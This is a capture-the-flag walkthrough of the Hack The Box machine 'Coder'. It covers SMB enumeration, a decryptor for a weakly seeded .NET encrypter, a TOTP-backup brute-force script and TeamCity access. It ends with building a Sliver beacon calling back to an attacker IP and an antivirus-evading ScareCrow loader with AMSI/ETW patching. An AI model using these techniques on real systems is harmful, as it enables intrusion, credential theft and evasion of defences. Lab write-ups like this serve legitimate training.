tags | sticker | |||||||
---|---|---|---|---|---|---|---|---|
|
emoji//1f5a5-fe0f |
Coder was one of the best machines I have ever done on HTB. This machine starts by enumerating the SMB shares via the anonymous login and finding the s.blade.enc
and the Encryptor.exe
(.NET binary), by running the Encryptor.exe
you can decrypt the s.blade.enc
and you get a KeePass
DB and the key. At this stage you will get the credentials and backup of the Authenticator
2FA for s.blade to login to the TeamCity CI/CID, after a login attempt you will see that you have to enter a TOTP
. With the backup file provided you should be able to recover the MasterKey
, read the source code of the plugin and reverse engineer the import.ts
. After that the coding part starts, a custom script to brute force the encryption key and recover the MasterKey
. Once you have the key, you can import the backup file into the plugin and use the TOTP
to login to the CI/CD. After that you should upload a diff file to get reverse shell on the server. So now we have a session as svc_teamcity
and we can find a PS Secure String
in C:\ProgramData
and by decrypting the Secure String
we get the password for e.black
. The privilege escalation part was pretty straightforward. e.black is in the PKI Admins
group and has full control over the PK infrastructure. By adding a vulnerable template, we can request a ticket on behalf of the administrator and use that to dump the administrator hash.
title: NMAP
collapse: open
```BEGIN
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-12-26 17:27:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after: 2033-11-21T23:16:46
|_ssl-date: 2023-12-26T17:27:53+00:00; +7h58m26s from scanner time.
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_ssl-date: 2023-12-26T17:27:53+00:00; +7h58m26s from scanner time.
| ssl-cert: Subject: commonName=default-ssl/organizationName=HTB/stateOrProvinceName=CA/countryName=US
| Not valid before: 2022-11-04T17:25:43
|_Not valid after: 2032-11-01T17:25:43
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-IIS/10.0
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after: 2033-11-21T23:16:46
|_ssl-date: 2023-12-26T17:27:53+00:00; +7h58m26s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after: 2033-11-21T23:16:46
|_ssl-date: 2023-12-26T17:27:54+00:00; +7h58m26s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: coder.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-12-26T17:27:53+00:00; +7h58m26s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.coder.htb, DNS:coder.htb, DNS:CODER
| Not valid before: 2023-11-21T23:06:46
|_Not valid after: 2033-11-21T23:16:46
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-12-26T17:27:49
|_ start_date: N/A
|_clock-skew: mean: 7h58m25s, deviation: 0s, median: 7h58m25s
title: Domains
collapse: open
- **coder.htb**
- **dc01.coder.htb**
- **teamcity-dev.coder.htb**
title: Found Credentials
collapse: open
- s.blade:veh5nUSZFFoqz9CrrhSeuwhA (TeamCity)
- Administrator:807726fcf9f188adc26eeafd7dc16bb7
- e.black:ypOSJXPqlDOxxbQSfEERy300
We have the usual Windows Server ports, but let's start with SMB first.
SMB Anonymous login is allowed and we can log in without any credentials. Great, now lets list all the shares available on the network.
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ netexec smb coder.htb -u ' ' -p ''
SMB 10.129.229.190 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False)
SMB 10.129.229.190 445 DC01 [+] coder.htb\ :
We have the following stocks. The 'Development' share sounds interesting, let's have a look and see what we can find in this share.
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ netexec smb coder.htb -u ' ' -p '' --shares
SMB 10.129.229.190 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False)
SMB 10.129.229.190 445 DC01 [+] coder.htb\ :
SMB 10.129.229.190 445 DC01 [*] Enumerated shares
SMB 10.129.229.190 445 DC01 Share Permissions Remark
SMB 10.129.229.190 445 DC01 ----- ----------- ------
SMB 10.129.229.190 445 DC01 ADMIN$ Remote Admin
SMB 10.129.229.190 445 DC01 C$ Default share
SMB 10.129.229.190 445 DC01 Development READ
SMB 10.129.229.190 445 DC01 IPC$ READ Remote IPC
SMB 10.129.229.190 445 DC01 NETLOGON Logon server share
SMB 10.129.229.190 445 DC01 SYSVOL Logon server share
SMB 10.129.229.190 445 DC01 Users READ
So now we have to wait for the smbclient
to dump the hole data into development shares. But now we can check the web site on port 80.
As we can see there was nothing special, the default IIS
web page.
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/…/HTB/Machines/Coder/Migrations]
└─$ ls
rwxr-xr-x 3 ar0x ar0x 4 KiB Tue Dec 26 10:39:10 2023 adcs_reporting/
rwxr-xr-x 3 ar0x ar0x 4 KiB Tue Dec 26 10:39:11 2023 bootstrap-template-master/
rwxr-xr-x 3 ar0x ar0x 4 KiB Tue Dec 26 10:39:11 2023 Cachet-2.4/
rwxr-xr-x 3 ar0x ar0x 4 KiB Tue Dec 26 10:39:11 2023 kimchi-master/
rwxr-xr-x 3 ar0x ar0x 4 KiB Tue Dec 26 10:39:11 2023 teamcity_test_repo/
So some names are very familiar to me, teamcity
is Jetbrains CI/CD
.
title: TeamCity
TeamCity is a Continuous Integration and Deployment server that provides out-of-the-box continuous unit testing, code quality analysis, and early reporting on build problems. A simple installation process lets you deploy TeamCity and start improving your release management practices in a matter of minutes. TeamCity supports Java, .NET, and Ruby development and integrates perfectly with major IDEs, version control systems, and issue tracking systems.
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/…/Machines/Coder/Migrations/teamcity_test_repo]
└─$ ls
rw-r--r-- 1 ar0x ar0x 67 B Tue Dec 26 10:39:11 2023 ✓ hello_world.ps1
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/…/Machines/Coder/Migrations/teamcity_test_repo]
└─$ cat hello_world.ps1
#Simple repo test for Teamcity pipeline
write-host "Hello, World!"
Inside the folder we have the hello_world.ps1
script, which tells us that this script is being run for testing purposes.
We may be able to abuse this later to gain access to the machine. But not sure, it is just a prediction.
Things get interesting after that, I found Encrypter.exe
and s.blade.enc
in the Temporary Projects
folder.
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/…/HTB/Machines/Coder/Temporary Projects]
└─$ ls
rw-r--r-- 1 ar0x ar0x 5 KiB Tue Dec 26 10:39:10 2023 Encrypter.exe
rw-r--r-- 1 ar0x ar0x 3 KiB Tue Dec 26 10:39:10 2023 s.blade.enc
So the Encrypter.exe
is a .NET
application, and we can reverse it very quickly and easily.
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/…/HTB/Machines/Coder/Temporary Projects]
└─$ file Encrypter.exe
Encrypter.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
This application's functionality is very simple.
public static void Main(string[] args)
{
if (args.Length != 1)
{
Console.WriteLine("You must provide the name of a file to encrypt.");
return;
}
FileInfo fileInfo = new FileInfo(args[0]);
string destFile = Path.ChangeExtension(fileInfo.Name, ".enc");
long value = DateTimeOffset.Now.ToUnixTimeSeconds();
Random random = new Random(Convert.ToInt32(value));
byte[] array = new byte[16];
random.NextBytes(array);
byte[] array2 = new byte[32];
random.NextBytes(array2);
byte[] array3 = EncryptFile(fileInfo.Name, destFile, array2, array);
}
It takes the filename and uses the current time (which is converted to a unix timestamp) as a seed and generates a random key and iv.
private static byte[] EncryptFile(string sourceFile, string destFile, byte[] Key, byte[] IV)
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
using FileStream stream = new FileStream(destFile, FileMode.Create);
using ICryptoTransform transform = rijndaelManaged.CreateEncryptor(Key, IV);
using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write);
using FileStream fileStream = new FileStream(sourceFile, FileMode.Open);
byte[] array = new byte[1024];
int count;
while ((count = fileStream.Read(array, 0, array.Length)) != 0)
{
cryptoStream.Write(array, 0, count);
}
}
return null;
}
And the EncryptFile
method gets the filename
, destination file
, key
and iv
and it will just encrypt the contents of the file with the RijndaelManaged (AES)
algorithm.
So it is very simple, but the problem is that the key and iv are randomly generated. So we can recover it without any additional information. But we have the encrypted file. That means we can check the last modification time and so we can recover the seed. And the last step is to change the EncryptFile
to DecryptFile
.
┌──(ar0x㉿kali)-[~/…/HTB/Machines/Coder/Temporary Projects]
└─$ stat s.blade.enc
File: s.blade.enc
Size: 3808 Blocks: 8 IO Block: 4096 regular file
Device: 8,1 Inode: 4194520 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 1000/ ar0x) Gid: ( 1000/ ar0x)
Access: 2023-12-26 11:00:25.166406307 +0100
Modify: 2023-12-26 10:39:10.502606601 +0100
Change: 2023-12-26 10:39:10.502606601 +0100
Birth: 2023-12-26 10:39:10.410606001 +0100
So we can see that the times are modified after i downloaded this file on my system. BUT the file has still the correct information in the Development Share folder.
So lets see if we can get the correct time from this file. So we can just mount the smb share to our system and than check the file information with stat
again.
┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ sudo mount -t cifs //`box`/Development /mnt/development
Password for root@//10.129.229.190/Development:
Just hit enter for the password
┌──(ar0x㉿kali)-[/mnt/development/Temporary Projects]
└─$ stat s.blade.enc
File: s.blade.enc
Size: 3808 Blocks: 8 IO Block: 1048576 regular file
Device: 0,69 Inode: 1125899907128474 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2022-11-11 23:17:08.374350100 +0100
Modify: 2022-11-11 23:17:08.374350100 +0100
Change: 2022-11-11 23:17:08.374350100 +0100
Birth: 2022-11-07 22:05:02.949637700 +0100
And it looks much better than before. Great, now we have the correct modification time. Now we have to convert this time to unixtime stamp
and then we can use it in our decryptor
.
┌──(ar0x㉿kali)-[/mnt/development/Temporary Projects]
└─$ date -d "2022-11-11 23:17:08.374350100 +0100" +"%s"
1668205028
And here we got our timestamp. NICE
using System.Security.Cryptography;
static byte[] DecryptFile(string sourceFile, string destFile, byte[] Key, byte[] IV)
{
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
using FileStream stream = new FileStream(destFile, FileMode.Create);
using ICryptoTransform transform = rijndaelManaged.CreateDecryptor(Key, IV);
using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Write);
using FileStream fileStream = new FileStream(sourceFile, FileMode.Open);
byte[] array = new byte[1024];
int count;
while ((count = fileStream.Read(array, 0, array.Length)) != 0)
{
cryptoStream.Write(array, 0, count);
}
}
return null;
}
string sourceFile = "C:/Users/ar0x/Desktop/HTB/Coder/s.blade.enc";
string destFile = "C:/Users/ar0x/Desktop/HTB/Coder/s.blade.txt";
long seed = 1668205028;
Random random = new Random(Convert.ToInt32(seed));
byte[] iv = new byte[16];
random.NextBytes(iv);
byte[] key = new byte[32];
random.NextBytes(key);
DecryptFile(sourceFile, destFile, key, iv);
Console.WriteLine("File Decrypted, check the s.blade.txt file");
So now I have taken some of the source code and built my own decryptor
, so lets run it and see what we get after decrypting the file.
c:\Users\ar0x\Desktop\HTB\Coder
λ file s.blade.txt
s.blade.txt: 7-zip archive data, version 0.4
So this a 7-zip file, lets rename the extension to 7z
to extract the files that are zipped.
c:\Users\ar0x\Desktop\HTB\Coder
λ ls -la
total 18
drwxrwxrwx 1 user group 0 Dec 26 03:03 .
drwxrwxrwx 1 user group 0 Dec 26 02:00 ..
-rw-rw-rw- 1 user group 1024 Nov 3 2022 .key
drwxrwxrwx 1 user group 0 Dec 26 02:16 Decryptor
-rwxrwxrwx 1 user group 5632 Dec 26 01:39 Encrypter.exe
-rw-rw-rw- 1 user group 3799 Dec 26 02:56 s.blade.7z
-rw-rw-rw- 1 user group 3808 Dec 26 01:39 s.blade.enc
-rw-rw-rw- 1 user group 2590 Nov 11 2022 s.blade.kdbx
OHHH, we got a kdbx
file and a .key
file so lets open the s.blade.kdbx
file and see what is waiting for us.
The fucking TeamCity
I told you guys. So now we have a new vhost
https://teamcity-dev.coder.htb
and the credentials for s.blade
for the CI/CD and we also found the Authenticator backup codes
.
{
"6132e897-44a2-4d14-92d2-12954724e83f": {
"encrypted": true,
"hash": "6132e897-44a2-4d14-92d2-12954724e83f",
"index": 1,
"type": "totp",
"secret": "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2",
"issuer": "TeamCity",
"account": "s.blade"
},
"key": {
"enc": "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1",
"hash": "$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV"
}
}
And sadly the password is not valid for AD.
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ netexec smb coder.htb -u 's.blade' -p 'veh5nUSZFFoqz9CrrhSeuwhA'
SMB 10.129.229.190 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:coder.htb) (signing:True) (SMBv1:False)
SMB 10.129.229.190 445 DC01 [-] coder.htb\s.blade:veh5nUSZFFoqz9CrrhSeuwhA STATUS_LOGON_FAILURE
So let's login with these creds and see what we can do on TeamCity.
And get fucked 🫠. So now the Authenticator backup codes
makes sense. I taught that's just here.
So based on the saved name in keepass
, i search for Authenticator in Firefox plugins and i found out that apparently this the used plugin for MFA.
So and this plugin allow us to import and export backup files. I tried to import the file that we got, and what a surprise we should have the master key.
That was fist time that i worked with this plugin and i had no idea about it. So i started to play with it. I added a manual entry, and its very important that you enter a long password, because short passwords are invalid and you cant create a entry.
ar0x:VulnLabBetterThanHTB
So now lets export this and see if these files are identical.
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ cat authenticator.json
{
"e6a3e987-eb1f-46c2-afff-c5cb155b4463": {
"encrypted": true,
"hash": "e6a3e987-eb1f-46c2-afff-c5cb155b4463",
"index": 0,
"type": "totp",
"secret": "U2FsdGVkX196FpehKG28gBu9qHZx2N1i8Rqrzs3NHZld6h12EkQ/CJ4aMcR98emb",
"issuer": "ar0x"
},
"key": {
"enc": "U2FsdGVkX18q7mO2iijnS+aGTjJBXm5hdHNNHEW3bs2V+OPbIVRBIzY1PtVxZzzMfMjv5nMk47Z0jfQ1oKj1POFeqJI7SySsINOvUEZLlJleQemWSYNp0ku+pqg/uSaFN96kPU0b7baLKvFYy91UsTKjn8EJIlSZmtZYw6HdMpdtoSwOQo2/+KHXWmbXuMm0",
"hash": "$argon2id$v=19$m=16384,t=1,p=1$wNMNUhro7aTDYCf9Zi+7NQ$B8zfFcuIC54Nckr8NMi9LBqqwVBdQddR"
}
}
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ cat sblade_authenticator.json
{
"6132e897-44a2-4d14-92d2-12954724e83f": {
"encrypted": true,
"hash": "6132e897-44a2-4d14-92d2-12954724e83f",
"index": 1,
"type": "totp",
"secret": "U2FsdGVkX1+3JfFoKh56OgrH5jH0LLtc+34jzMBzE+QbqOBTXqKvyEEPKUyu13N2",
"issuer": "TeamCity",
"account": "s.blade"
},
"key": {
"enc": "U2FsdGVkX19dvUpQDCRui5XaLDSbh9bP00/1iBSrKp7102OR2aRhHN0s4QHq/NmYwxadLeTN7Me1a3LrVJ+JkKd76lRCnd1utGp/Jv6w0hmcsqdhdccOpixnC3wAnqBp+5QyzPVaq24Z4L+Rx55HRUQVNLrkLgXpkULO20wYbQrJYN1D8nr3g/G0ukrmby+1",
"hash": "$argon2id$v=19$m=16384,t=1,p=1$L/vKleu5gFis+GLZbROCPw$OzW14DA0kdgIjCbo6MPDYoh+NEHnNCNV"
}
}
So we can see that these files are identical, that means that sblade exported his totp
password protected and we should somehow crack the master password to get MFA tokens.
So this plugin is open source and we can check the source code to configure out how this plugin is encrypting the master key and if we can somehow recover this key. I mean its a bit too much but i guess the only way that we have.
Repo: https://github.com/Authenticator-Extension/Authenticator
This the source code of import.ts
this file is used when we import a backup so actually the only interesting file for us is this one.
import Vue from "vue";
import ImportView from "./components/Import.vue";
import CommonComponents from "./components/common/index";
import { loadI18nMessages } from "./store/i18n";
import { Encryption } from "./models/encryption";
import { EntryStorage } from "./models/storage";
import { getOTPAuthPerLineFromOPTAuthMigration } from "./models/migration";
import * as CryptoJS from "crypto-js";
import * as uuid from "uuid/v4";
async function init() {
// i18n
Vue.prototype.i18n = await loadI18nMessages();
// Load common components globally
for (const component of CommonComponents) {
Vue.component(component.name, component.component);
}
// Load entries to global
const encryption = new Encryption(await getCachedPassphrase());
const entries = await EntryStorage.get();
if (encryption.getEncryptionStatus()) {
for (const entry of entries) {
await entry.applyEncryption(encryption);
}
}
Vue.prototype.$entries = entries;
Vue.prototype.$encryption = encryption;
const instance = new Vue({
render: (h) => h(ImportView),
}).$mount("#import");
// Set title
try {
document.title = instance.i18n.extName;
} catch (e) {
console.error(e);
}
}
init();
function getCachedPassphrase() {
return new Promise((resolve: (value: string) => void) => {
chrome.runtime.sendMessage(
{ action: "passphrase" },
(passphrase: string) => {
return resolve(passphrase);
}
);
});
}
export function decryptBackupData(
backupData: { [hash: string]: OTPStorage },
passphrase: string | null
) {
const decryptedbackupData: { [hash: string]: OTPStorage } = {};
for (const hash of Object.keys(backupData)) {
if (typeof backupData[hash] !== "object") {
continue;
}
if (!backupData[hash].secret) {
continue;
}
if (backupData[hash].encrypted && !passphrase) {
continue;
}
if (backupData[hash].encrypted && passphrase) {
try {
backupData[hash].secret = CryptoJS.AES.decrypt(
backupData[hash].secret,
passphrase
).toString(CryptoJS.enc.Utf8);
backupData[hash].encrypted = false;
} catch (error) {
continue;
}
}
// backupData[hash].secret may be empty after decrypt with wrong
// passphrase
if (!backupData[hash].secret) {
continue;
}
decryptedbackupData[hash] = backupData[hash];
}
return decryptedbackupData;
}
export async function getEntryDataFromOTPAuthPerLine(importCode: string) {
const lines = importCode.split("\n");
const exportData: { [hash: string]: OTPStorage } = {};
let failedCount = 0;
let succeededCount = 0;
for (let item of lines) {
item = item.trim();
if (item.startsWith("otpauth-migration:")) {
const migrationData = getOTPAuthPerLineFromOPTAuthMigration(item);
for (const line of migrationData) {
lines.push(line);
}
continue;
}
if (!item.startsWith("otpauth:")) {
continue;
}
let uri = item.split("otpauth://")[1];
let type = uri.substr(0, 4).toLowerCase();
uri = uri.substr(5);
let label = uri.split("?")[0];
const parameterPart = uri.split("?")[1];
if (!parameterPart) {
failedCount++;
continue;
} else {
let secret = "";
let account: string | undefined;
let issuer: string | undefined;
let algorithm: string | undefined;
let period: number | undefined;
let digits: number | undefined;
try {
label = decodeURIComponent(label);
} catch (error) {
console.error(error);
}
if (label.indexOf(":") !== -1) {
issuer = label.split(":")[0];
account = label.split(":")[1];
} else {
account = label;
}
const parameters = parameterPart.split("&");
parameters.forEach((item) => {
const parameter = item.split("=");
if (parameter[0].toLowerCase() === "secret") {
secret = parameter[1];
} else if (parameter[0].toLowerCase() === "issuer") {
try {
issuer = decodeURIComponent(parameter[1]);
} catch {
issuer = parameter[1];
}
issuer = issuer.replace(/\+/g, " ");
} /* else if (parameter[0].toLowerCase() === "counter") {
let counter = Number(parameter[1]);
counter = isNaN(counter) || counter < 0 ? 0 : counter;
} */ else if (
parameter[0].toLowerCase() === "period"
) {
period = Number(parameter[1]);
period =
isNaN(period) || period < 0 || period > 60 || 60 % period !== 0
? undefined
: period;
} else if (parameter[0].toLowerCase() === "digits") {
digits = Number(parameter[1]);
digits = isNaN(digits) ? 6 : digits;
} else if (parameter[0].toLowerCase() === "algorithm") {
algorithm = parameter[1];
}
});
if (!secret) {
failedCount++;
continue;
} else if (
!/^[0-9a-f]+$/i.test(secret) &&
!/^[2-7a-z]+=*$/i.test(secret)
) {
failedCount++;
continue;
} else {
const hash = await uuid();
if (
!/^[2-7a-z]+=*$/i.test(secret) &&
/^[0-9a-f]+$/i.test(secret) &&
type === "totp"
) {
type = "hex";
} else if (
!/^[2-7a-z]+=*$/i.test(secret) &&
/^[0-9a-f]+$/i.test(secret) &&
type === "hotp"
) {
type = "hhex";
}
exportData[hash] = {
account,
hash,
issuer,
secret,
type,
encrypted: false,
index: 0,
counter: 0,
pinned: false,
};
if (period) {
exportData[hash].period = period;
}
if (digits) {
exportData[hash].digits = digits;
}
if (algorithm) {
exportData[hash].algorithm = algorithm;
}
succeededCount++;
}
}
}
return { exportData, failedCount, succeededCount };
}
This is the function that will handle our data when we want to import a new backup.
export function decryptBackupData(
backupData: { [hash: string]: OTPStorage },
passphrase: string | null
) {
const decryptedbackupData: { [hash: string]: OTPStorage } = {};
for (const hash of Object.keys(backupData)) {
if (typeof backupData[hash] !== "object") {
continue;
}
if (!backupData[hash].secret) {
continue;
}
if (backupData[hash].encrypted && !passphrase) {
continue;
}
if (backupData[hash].encrypted && passphrase) {
try {
backupData[hash].secret = CryptoJS.AES.decrypt(
backupData[hash].secret,
passphrase
).toString(CryptoJS.enc.Utf8);
backupData[hash].encrypted = false;
} catch (error) {
continue;
}
}
// backupData[hash].secret may be empty after decrypt with wrong
// passphrase
if (!backupData[hash].secret) {
continue;
}
decryptedbackupData[hash] = backupData[hash];
}
return decryptedbackupData;
}
The decryptBackupData
function gave me the idea to write a password cracker
. So let's try that.
I’m going to brute force the password for this encrypted backup. I could potentially try to crack that Argon2 hash, but that would be _really_ slow. Alternatively, I can try to do two AES decryptions, and that won’t be slow at all.
So earlier I exported my TOTP
for testing purposes, and now we can first try if I can get the Master Key
just by passing the correct encryption password (no brute forcing yet!). So I wrote a little JS script to do this.
const fs = require("fs");
const CryptoJS = require("crypto-js");
const { argv } = require("process");
let fileContent = JSON.parse(fs.readFileSync(fileContentPath).toString());
let guid = Object.keys(fileContent)[0];
let totp_secret = fileContent[guid].secret;
let enc_key = fileContent["key"].enc;
console.log("TOTP Secret: " + totp_secret);
console.log("Encrypted Key: " + enc_key);
let key = CryptoJS.AES.decrypt(enc_key, 'pass').toString();
let totp = CryptoJS.AES.decrypt(totp_secret, key).toString(CryptoJS.enc.Utf8);
console.log("\nMasterKey: " + totp);
First we need to decrypt our encryption key. I defined the encryption key during the backup process and in this case it is just pass'. Now we should try to decrypt the
TOTP Secretor
Master Key`. Lets see the result.
┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ node authenticator_cracker.js test authenticator.json
TOTP Secret: U2FsdGVkX1/hMpbRcrCiz1VNeKBoPBX7Qk2GqlxNRmW2384OAhvoOeBj6iXjdMNI
Encrypted Key: U2FsdGVkX1+Zh0PAvpVLRop9B7cOohHOZeK7XWX4yBVO9zNdWkBMbV7c+jxiX6MlSyQPqbLRZyxImX7ni+OblqkgFEVjZyUBuzHWXRay08upA1DAhkLhe/5jtpqe7t9YOcTb8ATfe9xTGVhqFn7DICQBODtPj4n4lKkiOF/rP8tHlo1LBUiQ8gNHvkB/BfzN
MasterKey: VulnLabBetterThanHTB
Great, the script actually worked, we have the decrypted 'master key' and now I have to add the brute force part to the script and then we are ready to go.
const fs = require("fs");
const CryptoJS = require("crypto-js");
const { argv } = require("process");
function readFileContent(fileContentPath) {
const fileContent = JSON.parse(fs.readFileSync(fileContentPath).toString());
const guid = Object.keys(fileContent)[0];
const totpSecret = fileContent[guid].secret;
const encKey = fileContent["key"].enc;
return { totpSecret, encKey };
}
function bruteforceEncKey(word, encKey, totpSecret) {
try {
const key = CryptoJS.AES.decrypt(encKey, word).toString();
const totp = CryptoJS.AES.decrypt(totpSecret, key).toString(CryptoJS.enc.Utf8);
if (totp.length > 15) {
console.log("---------------------------");
console.log("Encryption Key: " + word);
console.log("MasterKey: " + totp);
console.log("---------------------------");
process.exit(0);
}
} catch {
//console.log("Failed to decrypt with key: " + word);
return;
}
}
function main() {
const wordlistPath = argv[2];
const fileContentPath = argv[3];
if (!wordlistPath || !fileContentPath) {
console.log("Usage: node authenticator_cracker.js <wordlist> <authenticator.json>");
process.exit(1);
}
const { totpSecret, encKey } = readFileContent(fileContentPath);
const wordlist = fs.readFileSync(wordlistPath).toString().split("\n");
wordlist.forEach((word) => {
bruteforceEncKey(word, encKey, totpSecret);
});
}
main();
So i improved the script a bit and now it looks great and is ready to use. I use rockyout.txt
as wordlist. And after a few seconds we got the Master Key
. Great
┌──(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ node authenticator_cracker.js /usr/share/wordlists/rockyou.txt sblade_authenticator.json
---------------------------
Encryption Key: skyblade
MasterKey: PM2CG6RO73QT74WS
---------------------------
Now I just used the skyblade
encryption key and imported the backup file into my Authenticator
plugin. Now we can login and enter the TOTP
we got from the plugin.
But unfortunately I got an error that my TOTP
was not valid. After a bit of research I found out that this is due to my computer clock. My computer clock needs to be synchronized with the AD time to get a correct TOTP
.
title: TOTP Time Issues
This has been observed when the appliance or the user device/App and their correct time/time zone are not in sync. TOTP is an algorithm that computes a one-time password from a shared secret key(this is done in the form of a QRCode) and the current time. Therefore, it is very important to make sure that the SMA/UTM appliances and the end user devices/Apps are set to the right time and date.
So I just updated my clock to the server time with ntpdate
.
┌──(netexec-aAT1m2Ox-py3.11)─(ar0x㉿kali)-[~/Desktop/HTB/Machines/Coder]
└─$ sudo ntpdate `box`
2023-12-27 01:54:05.614635 (+0100) +15123.630695 +/- 0.020358 10.129.229.190 s1 no-leap
CLOCK: time stepped by 15123.630695
Great, now we are logged into the TeamCity CI/CD
and i just started to find out how i can get code execution on the dc01
agent.
In the log message we see Hello World, so this is probably running the hello-world.ps1
script in the Migrations
share.
"run as personal" build sounds very interesting, lets check the Jetbrains
documentation and see what this is.
title: Personal Build
A _personal build_ is a build-out of the common build sequence which typically uses the changes not yet committed into the version control. Personal builds are usually initiated from one of the [supported IDEs](https://www.jetbrains.com/help/teamcity/supported-platforms-and-environments.html#Remote+Run+and+Pre-tested+Commit) via the [Remote Run](https://www.jetbrains.com/help/teamcity/remote-run.html) procedure. You can also upload a patch with changes directly to the server, as described [below](https://www.jetbrains.com/help/teamcity/personal-build.html#Direct+Patch+Upload).
So based on that we can just upload a patch and the patch will be executed on the server. So I just fired up sliver
and generated a beacon as shell code. As we want to be exited (not trigger the AV) im going to generate a loader with ScareCrow
.
Generating the Sliver shellcode
sliver > generate beacon --http 10.10.14.137 --seconds 5 --jitter 3 --os windows --arch x64 --format shellcode -G --skip-symbols
[*] Generating new windows/amd64 beacon implant binary (5s)
[!] Symbol obfuscation is disabled
[*] Build completed in 3s
[!] Shikata ga nai encoder is disabled
[*] Implant saved to /home/ar0x/Desktop/HTB/Machines/Coder/PLANNED_MIGRANT.bin
Generating the Loader
┌──(ar0x㉿kali)-[~/Tools/DefenseEvasion/ScareCrow]
└─$ ./ScareCrow -I ~/Desktop/HTB/Machines/Coder/PETITE_POIGNANCE.bin -domain coder.htb -Loader dll
_________ _________
/ _____/ ____ _____ _______ ____ \_ ___ \_______ ______ _ __
\_____ \_/ ___\\__ \\_ __ \_/ __ \/ \ \/\_ __ \/ _ \ \/ \/ /
/ \ \___ / __ \| | \/\ ___/\ \____| | \( <_> ) /
/_______ /\___ >____ /__| \___ >\______ /|__| \____/ \/\_/
\/ \/ \/ \/ \/
(@Tyl0us)
“Fear, you must understand is more than a mere obstacle.
Fear is a TEACHER. the first one you ever had.”
[!] Missing Garble... Downloading it now
[*] Encrypting Shellcode Using ELZMA Encryption
[+] Shellcode Encrypted
[+] Patched ETW Enabled
[+] Patched AMSI Enabled
[+] Sleep Timer set for 2633 milliseconds
[*] Creating an Embedded Resource File
[+] Created Embedded Resource File With sechost's Properties
[*] Compiling Payload
[+] Payload Compiled
[*] Signing sechost.dll With a Fake Cert
[+] Signed File Created
[!] Sha256 hash of sechost.dll: d813ce0e9976871dacf124eb19ab744a3a8ba3e4806cd57cd8e96ca5104a1828
[+] DLL Compiled
[!] Note: Loading a dll (with Rundll32 or Regsvr32) that has the same name as a valid system DLL will cause problems, in this case its best to change the name slightly
